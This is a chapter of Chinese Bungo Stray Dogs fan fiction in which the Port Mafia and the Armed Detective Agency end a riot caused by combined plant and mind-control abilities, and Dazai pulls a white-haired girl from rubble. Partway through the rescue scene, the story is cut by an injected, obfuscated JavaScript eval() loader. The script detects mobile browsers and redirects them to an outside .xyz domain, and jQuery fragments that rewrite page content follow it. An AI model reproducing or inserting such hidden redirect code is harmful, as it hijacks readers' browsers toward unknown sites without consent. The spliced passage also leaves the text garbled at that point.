第八集||
虽然侦探社的成员不至于立马跳起来,但显然变得更加警惕。
德里斯试图通过拉近关系缓解众人的紧张:
“放松点,我和太宰治曾一起在黑手党共事,他叛逃之前我们还经常合作执行刺杀任务,是能交付后背、出生入死的同事。”
侦探社众人:完了,她是黑手党非常资深危险的存在!
德里斯:“中原中也你们认识吧?太宰治的前任搭档,和我也是好友。”
侦探社众人:那个总是吵着杀了太宰治的黑手党干部?面前这人果然来者不善!
德里斯:“我并没有参与针对太宰治的追杀,甚至为此离开了横滨市,因此你们可能没有听说过我。”
侦探社众人:早不回晚不回偏偏这时候回到横滨?糟糕,她卷土重来肯定别有目的!
德里斯:“冒昧打扰,我真的没有恶意,首领派遣我来警告你们为将会发生的危险做好准备。”
侦探社众人:威胁!她在使用黑手党惯用的威胁手段警告武装侦探社!
德里斯:“唔,在场的不是武装侦探社所有社员吧,请问你们首领是谁?”
众人:【目光愈加防备.jpg】
德里斯:“……”
好像大概也许貌似情况越描越黑了,德里斯感到十分头疼。
不是说黑手党和武装侦探社共同击退外敌后关系十分友好吗?!
果然在外地待太久了,对中原中也口中的“关系友好”有些理解偏差——恶名远扬的黑手党当然不会给其它组织留下什么好印象啊喂!!
在众多和黑手党结仇的组织之中,亦敌亦友的武装侦探社算是矮子里面拔将军拔出来的“友好”吧!?
啊,好麻烦啊,要不全都绑起来等太宰治醒来再解释好了。
想到这,德里斯干脆站起身,动了动有些僵硬的脖子。
敏锐察觉危险的国木田迅速拿出笔记本,随时准备发动异能【独步吟客】。
——叮铃——
武装侦探社的大门打开,风铃清脆的声音打破了一触即发的紧张气氛。
结束任务的武装侦探社社长福泽谕吉与武装侦探社成员江户川乱步进入室内。
看到这副场景,福泽谕吉顿在原地。推理天才江户川乱步则露出了然的神色:“太宰治先生,不要装晕看戏了,这里可没人打得过你这位好友。”
“还有,友情提示你马上就要挨揍——”
“太宰治你什么时候恢复清醒的!”德里斯与国木田异口同声,国木田更是直接抬起一脚踹到太宰治身上。
太宰治滚到一边:“哎呀,我的脑袋好像被谁打了一下,痛的我都忘记提醒你们……”
德里斯抬起一脚把太宰治踹得滚了回去。
太宰治:“——呕咳咳咳?”几年不见德里斯力气怎么又变大了!
他从地上爬起来,随手拍了拍身上那件咖色风衣的下摆:“你是要直接送我上天堂吗德里斯!”
“你还是寄希望于那个狗屁自杀手册上吧,送你去天堂简直便宜你了!”德里斯骂道。
见到社长后放下心来的中岛敦:“所以这位真的是太宰治先生的好友?”
太宰治笑眯眯道:“德里斯是我的驯幼染哦~”
“啊嘞?驯幼染吗?”没想到是两小无猜青梅竹马这样更亲密信任的关系。中岛敦直愣愣问:
“不是因为前辈背叛而感到愤怒所以从国外追杀回来的吗?”
德里斯:“哈哈……你家后辈想象力挺丰富哈。”所以到底脑补了什么啊喂!?
太宰治发出爆笑,与之相对的是国木田的痛斥声:
“你知道我有多担心吗!这种玩笑怎么可以随便开!”
“哈哈哈国木田你好像一个操心的老父亲哈哈哈!”
中岛敦&泉镜花无语:“呃,太宰前辈……”
太宰治毫无意外地又获得了来自国木田的暴栗。
“看来这样的场面已经成为日常生活的常驻节目了……武装侦探社的娱乐活动真是丰富。”
观察周围成员们习以为常的反应,德里斯感慨道。
——
回归正题。
社长将德里斯带到二楼办公室,一齐前往办公室的还有顶了一脑袋包的太宰治。
德里斯表明来意,将自己了解到的所有关于死屋之鼠的情报告知于福泽谕吉。
“通过先前的一些动乱,太宰治和乱步也有所猜测。如果情报属实,我会着力安排。失陪,德里斯小姐。”福泽谕吉起身。
他点头示意太宰治:“好好招待德里斯,我就不多打扰你们叙旧了。”
“喔~喔~耶~”
“一个人是没有办法殉情的~”
“~两个人就能~殉情~”
“殉情殉情~一起殉情~”
德里斯摘掉太宰治的耳机:“别唱了,我有事问你。”
太宰治摊在沙发上,一双长腿半悬空挂在沙发另一端的扶手。
“德里斯的问题还是森医生的问题呢?肯定是些无聊的话啦~”
德里斯无语:“你猜到什么了?”
“‘黑手党干部永远留一个位置给你’这种话嘛,上次他派中原中也来侦探社挖墙脚也是这么说的啦。”
“如果还有中原中也的传话呢?”
“?”太宰治仰头倒过来:“他让你给我传话?没安什么好心吧!”
德里斯拿出电话按动播出键,片刻说道:“他让我问你,叛逃那天是不是你这该死的家伙把他最喜欢的摩托炸掉的。”
太宰治心虚扭头。
太宰治的沉默就是答案,德里斯的电话中传来中原中也的咆哮:“果然是你吧混蛋太宰!我要杀了你!”
前一秒还在心虚的太宰治瞬间就像打了鸡血一样理直气壮地从沙发上跳起来,劈手夺过电话:“终于离开你这讨厌的家伙当然要放烟花庆祝了啊!”
中原中也:“****(消音)”
没等他骂骂咧咧说完,太宰治就直接挂断了电话。德里斯可以想象到电话那头中原中也的暴怒。
“你有够恶劣的,总是故意惹他气到跳脚。万一下次还要合作怎么办?你这家伙小心遭到报复啊喂。”
“哈?我会怕他?”
德里斯:“啊对对对。”呵,之前是谁因为中原中也不理自己,上赶着找事儿招惹人家试图引起对方的注意……啧啧。
这种行为不就像小男孩揪小女孩的辫子嘛!能容忍到现在的各位朋友真是太不容易了!
毕竟是自己看着长大的小孩,德里斯来侦探社主要目的还是瞅瞅太宰治是否还活着。见他精神不错,也算放下心来。
离开武装侦探社前,她不住询问:“话说回来,你为什么要选择留在武装侦探社?”
“大概是听取友人的遗愿吧,”太宰治答,“织田作建议我‘到救人的一方去’……或许在这里,我能够找寻到你们一直所说的、【活着】的意义。”
德里斯扭头,对上太宰治那双鸢色的眼睛。他一直如此,温柔又疏离,懵懂而冷漠地注视世间万物。
恍然间,她想起一首来自故土的诗:
是漂泊的浮萍,是窒息的泥沼;
是破碎的阳光,是麻木的枯林。
他于磨难中挣扎。
他于泥沼中沦陷。
他依旧独自一人面对这充满恶意的世界。
·
【似乎有什么东西悄悄偏离了它的轨道】
【命运的滚轮向着遥远的未知前进——找到墨怜】
——
那天告别太宰治,德里斯步行绕横滨港海岸一圈,直到太阳落山路灯亮起才回到黑手党大楼。
她有太多郁闷堵塞的思绪需要通过运动发泄出来,正巧合了横滨黑手党众人想要切磋比试的心思。
……于是当天晚上的欢迎会变成了黑手党高层成员的角斗赛。
接下来数月,德里斯的日常似乎进入了一个规律的循环:起床梳妆、接受命令、完成任务、调查资料、保养埃洛伊斯、休息。
时间似乎枯燥而漫长,又似乎过得飞快,紧绷的神经在一天天平静的日子中渐渐松懈下来,直到横滨迎来冬季的第一场雪。
伴随着第一片雪花落地,横滨上空传开震耳欲聋的爆破声。德里斯正站在洗手池前刷牙,巨大的颠颤将她面前的镜子冲出一道裂痕。
“发生什么了?!”
“街头暴动!所有市民的精神似乎都陷入了混乱!”
窗外人群骚乱,德里斯漱口、洗脸、穿上大衣,如往常一样拿起埃洛伊斯,前往黑手党总部面见森鸥外。
路上随处可见车祸撞毁的汽车、摇摇欲坠的广告牌、着火冒烟的花草树木以及撕扯打斗的市民。
世界似乎在一夜之间失去了它原有的秩序,战争与破坏无时无刻地发生。
德里斯随手打昏几个失去理智的黑手党成员,乘电梯到达港口Mafia总部大楼顶层。
“首领。”
她行礼抬头,除中原中也外所有的高层干部都已到达首领办公室。
森鸥外今天没穿那套一本正经的黑色首领大衣,而是身着白色大褂,像一个再普通不过的医生。他转过身来:“德里斯,来了。路上顺利吗?”
“只要小心避免接触植物就不会受到控制……且较小的草木无法对我产生影响。这种现象可能和一个人的精神强弱有关吧。”德里斯答。
至于提防街道上行人的攻击、提前绕开随时可能发生爆炸的危险区域等,这对她来说并不困难。
尾崎红叶看着桌子上厚厚的一沓资料:“到底是怎么回事?你们看上去像是早已预料。”
“来自国外的老对手——异能组织‘组合’向我们发来消息,其成员约翰·斯坦贝克在上个月莫名失踪,”森鸥外顿了顿,“三天前,被我们囚禁在地下监狱的梦野久作(Q)在不明势力的帮助下成功越狱。”
“约翰·斯坦贝克是一名植物系异能者,异能名【愤怒的葡萄】,能够控制周边植物的根茎生长运动、为己所用;
梦野久作是最让人苦恼的精神系异能者,异能【脑髓地狱】,凡是伤害到他的人都将受到可怕的思维控制,大脑混乱,陷入精神地狱。”
中原中也补充说明。
尾崎红叶回忆道:
“梦野久作这孩子年纪较小。由于没能得到良好的教管,黑手党多名成员曾因他的‘玩闹’造成范围较广的暴乱伤害,当时由太宰治出手阻止了异能恶性扩散,将他关押在黑手党的地下监狱中看守管制。”
森鸥外操控着投影仪点开一张照片,黑头发高鼻梁、眉眼温和、戴着保暖白绒帽子的俊美男子出现在画面中。
“费奥多尔·陀思妥耶夫斯基,俄国人,‘死屋之鼠’首领。这次的全员暴乱有极大可能是他的手笔。他利用了这两人的异能特性,将梦野久作的身体和约翰·斯坦贝克的植物结合,扩散到整个横滨。
只要城市中有人破坏任何一棵大树的枝叶、挤压灌木甚至不慎踩到砖缝中的小草,都可以间接对梦野久作造成身体上的伤害,从而中招。”
“现在我们怎么办?”
森鸥外站起身:
“我已经派出了中原中也,他正同武装侦探社的太宰治联合寻找梦野久作的位置。只要太宰治触碰到梦野久作的身体,发动【人间失格】取消他的异能,就能结束这场混乱扩大的影响。”
“一旦动乱解决,其他人带上还能行动的成员前往各个街道组织恢复秩序,并防守警惕随时可能出现的敌人。”
“是,首领。”
“对了,”他向德里斯露出一个安抚意义的微笑,这时的森鸥外从行事果断狠辣的首领化作一个温柔和蔼的长辈,“请各位在工作之余留意一名目测年龄9至12岁的女孩,其形象特征较为明显,发、唇、肤、眉、睫等均为白色,墨黑瞳仁。如有发现,请及时联系德里斯。”
——
“好痛啊……好疼啊呜呜呜……杀了我……”
幼小的男孩四肢被交错的树根缠绕吞噬,来自整个城市的巨大痛楚无时无刻拨弄着他的每一根神经。身材修长的男子站在孩子的面前,仰望着这棵由人体与植株穿插组成的扭曲塑像。
同伴的鲜血使一池充满温柔的泉水干涸冷却,那双温暖琉璃般的鸢色眼眸翻涌着来自深渊的寒凉怨恨。他的嘴角不再挂着惹人心头悸动的微笑,表情切齿森然,毫不留情地抬手掐住男孩脆弱的脖颈:
“想死?没那么简单。犯错的孩子就要接受惩罚,为自己的错误负责赎罪~我会让你体会到生不如死的感觉……桀桀桀……”
中原中也:“够了太宰,快点!”
太宰治不满嚷嚷:“不要打断我!接下来是一个合格的反派最重要最华丽的戏码!”
中原中也被太宰治抓马的演技尬得炸毛,飞起一脚把太宰治踹到树根下面。
“啊呀!”
【人间失格】,异能解除。
中原中也一手提起男孩一手抓起太宰治甩到一边——之所以不用“提”字是因为太宰治的大长腿始终没有离开地面——最终他们在树根消失的地方找到了一只怪异的娃娃。
“这才是解除暴动的关键。”中原中也伸手欲拿。
太宰治先他一步抓起娃娃,不忘拖腔道:“好稀奇啊,滑腻腻的蛞蝓看起来明明没有可以放下脑子的地方嘛~”
“闭嘴!你这半死不活的青花鱼!把它给我!”
“不给~”
“给我!”
“有本事来拿啊~”太宰治举高。
中原中也:“……你找死!”
两人差点就地打起来,好在德里斯的一通电话及时打断了他们。
“看来你们的任务非常顺利嘛,不愧是‘双黑’。很抱歉打扰你们两个打情骂俏,不过叙旧的话等彻底恢复秩序再说吧,快点来中心街帮忙。”
中原中也和太宰治异口同声:“谁和他打情骂俏啊!”
不听不听。德里斯挂断电话,抽刀劈倒一个试图逃跑的作乱分子,将手机塞进大衣口袋。
真是混乱啊。她感慨地看着一片狼藉的街道。
如此陌生而熟悉的场景,总让她想起自己的过去。
战争后留下千疮百孔的城市,惶恐的居民和不再惶恐的尸体。
有人的哭声响彻充满烟尘的街道,乌鸦被这刺耳的声音吓得飞上枝头,不舍地看着人类一具具拖走它们饱腹的大餐。
横滨市,就在日出之前还整整齐齐的房屋,被爆炸的冲击波轰击成一堆又一堆破碎的砖瓦。没有全部倒塌的高楼附近也不安全,随时可能掉落的墙块和钢筋会有击中路人的风险。
医护人员冒着危险抬来担架,将废墟中挖出的伤员抬走救治。德里斯带着一支小队疏散群众,随时留意动向,揪出那些趁乱混入人群、试图再次制造麻烦的恐怖分子。
但还是有些奇怪。敌人潜伏数月搞出这么大的阵势,他们解决起来未免也太过于顺利。
太宰治和中原中也很快赶到。
“德里斯!”
“你们可算来了!这边刚才发生了爆破,有人员伤亡。我得把他送到救护车那边。”德里斯横抱着一个头破血流的市民。
“第一轮救援差不多了,辛苦二位排查一下废墟附近是否还有未及时离开的幸存者。”
中原中也和太宰治对视一眼,两人一经商量,决定由中原中也先行押送梦野久作回黑手党总部复命。
“那个可以给我了吧!”中原中也指着太宰治手上诡笑的娃娃。
太宰治啧声:“这么大了怎么总想着小玩偶,这可不行~”
中原中也:“混蛋太宰!”
太宰治躲过中原中也抓来的手,将娃娃背到身后,终于正经一回:
“不是我偏要和你作对,为了防止路上出差错,这个东西还是我拿着吧。等确定你……安全把这小家伙押送回去后再说!”
“喂……”中原中也想问他刚才是不是关心自己的安全,又觉得一旦说出口了肯定会遭到一番嘲笑,于是没好气地翻了个白眼:“你可不要想着功劳私吞,等我回来!”
“对了,”他顿了顿,还是多嘴一句,“这小孩第一次失控的事你没忘吧?娃娃是梦野久作发动异能的重要载体。”
太宰治又恢复了气人模式:“当然啦~谁像你这么粗心大意。”
中原中也咬牙:“我是说你这个弱鸡小心一点,万一那些疯子要抢这东西怎么办!”说完冷哼一声。
“中也这是关心我嘛——”
身后传来太宰治拖腔拉调的欠揍声音。
中原中也祥装听不见,加快脚步离开了中心街。
太宰治双手作喇叭状不断喊话骚扰,中原中也不上当不回头。他有点失望地撇撇嘴:“切,橙色蛞蝓太没意思了!”
他本着严谨工作的态度在废墟里转了几圈,最后找到一处还算结实的墙头靠坐下来——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059509|162952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
太宰治严谨工作的要诀即认真一分钟、摸鱼两小时。
这条街道两侧楼层偏高,且处于爆炸中心。因此该区域受到的破坏程度相对其他区域更加严重,且还有二次倒塌的风险。
救援难度呈几倍增加、存活率大幅降低。这也是为什么德里斯安排太宰治进行排查而非救助。
“咳咳咳……”
虚弱的咳嗽声传来。
掩盖在废墟深处的声音微不可闻,太宰治险些错过。他认真辨识了好一会儿才确认位置。
一栋六层小楼。现在它只剩大概两层高度。
他挑了挑眉,心想不是吧,真有人能在这种情况下侥幸存活?
听动静还是个尚且有些稚嫩的孩子。命真大。
观察掉在地上牌子,再看四周洒落的粉刷颜料,不难判断面前的废墟前身是个刚刚建成、还没装修完毕就惨遭灾难的小酒店。
小楼有一半整个都炸得塌掉了。
太宰治十分费力地通过墙上被挤压变形的窗户钻进建筑中,只见里面也是一片狼藉。
钢筋水泥从墙壁中四横八错地突出来,他抬头,能透过裂缝看见外面的天。
庆幸的是,由于酒店还在施工的缘故,里面还没有住户入住,废墟里看不到什么尸体和血迹。
哦哦,也不是完全没有。
太宰治凑过去,发现对方已经死了。他穿着一身白色工作服,具体干什么的不知道,应该是一个倒霉的工人。
死了也好。太宰治走到声音的来源处,一边小心翼翼搬动砖块,一边想道。
总好过浑身是伤,独自一人被困在不见天日的废墟下面苟延残喘。
如果不是他正好靠在那面墙旁休息,这孩子估计就该在绝望中断气了。
层层废墟下面的小孩可不要因为这场灾难落下什么残疾或者心病,那或许对她来说,这场灾难带来的折磨将会永无止境。
但愿那具男人的尸体不是她的亲人……虽然说希望渺茫。
毕竟施工建筑中怎么会有小孩,肯定只有亲人在这工作才会把孩子带过来吧。
小孩在下面既然能活下来,大概率是因为灾难发生时她幸运地处在墙面夹角处,上方掉落的天花板和夹角支起了一个较为稳定的三角空间。
太宰治每抬起一块水泥之前,都要再三确认是否会因为这次挖掘造成下方的二次坍塌。
中原中也在就好了,用他的重力异能一下子就把这些砖块搬起来。
这时候他倒想让中原中也那个混蛋赶块回来帮忙。
破碎的瓦砾砖块被一点点挪开,太宰治透过缝隙,隐约能够看到废墟下面下面灰扑扑蜷缩成一团的小孩儿。
“不要哭,也不要乱动,马上就能安全了,没事的……”
太宰治一边安抚着看上去被吓得不轻的小孩,一边有条不紊地继续挖掘救援。
嘶……腰疼腿疼胳膊疼。太宰治手头的动作越来越慢。
要不暂时撂挑子不干了,反正一会儿德里斯或者中原中也那边结束之后会来帮忙……
自从加入武装侦探社后,经手脑力工作远比为黑手党卖命时付出的武力工作量大上许多,身体素质真是大不如从前啊(虽然之前也没好到哪去)。
感叹是这么感叹着,可听着废墟下越来越微弱的咳喘声,太宰治又不能坐视不理。
已经死掉的陌生人并不会让他产生太多同情,但让他毫不作为,眼睁睁看着一个孩子在自己眼皮底下死去,那是人渣才有的做派。
手指指腹不断摩擦粗糙的水泥沙石,从阵阵刺痛到逐渐麻木,不知不觉沾上红润的粘湿滑腻。当太宰治搬开压在最后一面水泥块,阳光照亮了废墟下的阴影,一个足够将小孩安全抱出的洞口顺利完工。
“来,把手给我。”太宰治在身侧蹭了蹭指尖的泥土和血迹,把几乎磨成破布条的绷带缠紧几圈,俯身探到洞口将孩子抱了出来。
是个小女孩,又瘦又小,不过10岁的模样,像一棵营养不良的幼芽。
女孩比他想象中要轻上太多,一只手臂就能把人整个抱在怀里。太宰治侧过身,用影子遮住小孩,将人抱稳后伸出另一只手遮住她的眼睛:
“先不要睁眼,适应一下外面的阳光,不然一定会瞎掉哦~”
小朋友不哭不闹,听话地闭上双眼。见一句话没有把人吓哭,太宰治撇嘴,失去了欺负小孩的兴趣。
感受着掌心下睫毛的轻轻扫动,太宰治收回手掌。他拍拍两人身上的灰尘,这才来得及仔细打量一番。
先前在废墟中灰扑扑的小家伙,此时在太阳的照耀下白到发光——字面意思上的白到发光——除去被太宰治遮住的眼睛,她就像一个没来得及涂上颜色的瓷娃娃,从头到脚没有一丝其他色彩。雪白的头发、苍白的肌肤,就连嘴唇也泛着不正常的灰白,毫无血色。
太宰治不禁皱眉。
他见过不少发色肤色偏白的人,德里斯就是其中之一。这个世界也有不少人天生白发,偶尔见到一个两个并不算新奇。
只是这孩子也……太夸张了。
他正要合理推测女孩大概是具有较为罕见的白化症状,适应光照的女孩却缓缓睁开了双眼。
那是一双琉璃一样透亮的黑白反色眼眸,完全不同于白化者的特征。
太宰治并不了解今天早晨黑手党内部临时发布的寻人通告,他抱着孩子离开这栋危楼,打算直接带人前往临时搭建的救助区。
就在他快要离开废墟地带,德里斯打来了一通电话。
“喂?德里斯?我刚才在爆破区这边捡到一个小孩,先把她带去救助区,一会儿再去和你们汇合。”
“什么?中也那家伙来这边找我了?”正说着,太宰治听见有人在远处大声呼喊,情绪激动。
他回头,正巧看见不远处的中原中也。只见中原中也双手高高举起,不断挥舞,施加重力异能的帽子牢牢固定在他的头上,无论多大的动作都不会落下。
太宰治十分感动,嬉笑着向他比了个中指。
中原中也:……
中原中也骂骂咧咧向太宰治跑来,两人就差一条路口时,太宰治终于听清了中原中也的喊话。
“你怀里那个孩子是我们组织要找的对象!你这诱拐犯别带着小孩儿到处乱跑,我们得带她去找德里斯!”
太宰治不可置信地瞪大双眼:“什么诱拐犯!我明明是大功臣!”
吵闹着,太宰治抬脚向中原中也的方向走。怀里一直安静乖巧的瓷娃娃突然发出一声微不可闻的啜泣。
“欸欸欸怎么突然哭了?”太宰治手忙脚乱,“你这样会让人误会我欺负你啊——哦我知道了,你也很讨厌那个橙色蛞蝓吧!中原中也你长得太吓人啦,都把小孩吓哭了!”
他毫无心理负担把帽子扣到中原中也头上,中原中也直接气笑了:
“你自己滚过来吧!”说着停下动作,叉腰站住。
“啊——我走了这么远,还让我再走回去,真的很累啊喂!”太宰治拖长音调,同样停下了脚步,和中原中也对着干。
两人谁都没说话,幼稚地互相瞪眼,因此当怀里的孩子发出微弱的声音时,太宰治很快提起了注意。
他侧耳:“怎么了?哪里不舒服?”
女孩抽噎中不断重复着一段短句,仔细辨别,似乎是英文。
……发音大意为“非常抱歉”。可她为什么要重复这个单词呢?
正想着,太宰治若有所感——恍惚间他抬起那双鸢色的眼睛,对上中原中也骤缩的瞳孔。
自认识中也以来,太宰治从未在他的脸上看到过此类毫不掩饰的情绪。
就好像……无比害怕因此而彻底失去他一样。
中也身后不远处,收到消息的德里斯也终于赶到。她的视线远远落在被太宰治抱在怀里的孩子身上,眼中来不及绽开的惊喜转瞬之间就被一种名为惶恐的情绪替代。
是了,孩子。
中原中也离开后,最易令他放下防备的陌生者,自然只有孩子。
他怀里的小孩不知何时拿到了他先前放置在大衣口袋中那只怪异的布偶娃娃。
“I’m so sorry , sir.”She cried(哭泣).
“I can''t tell what the best answer is for the train track multiple choice.”(“我无法判断火车轨道选择的最佳答案是什么”)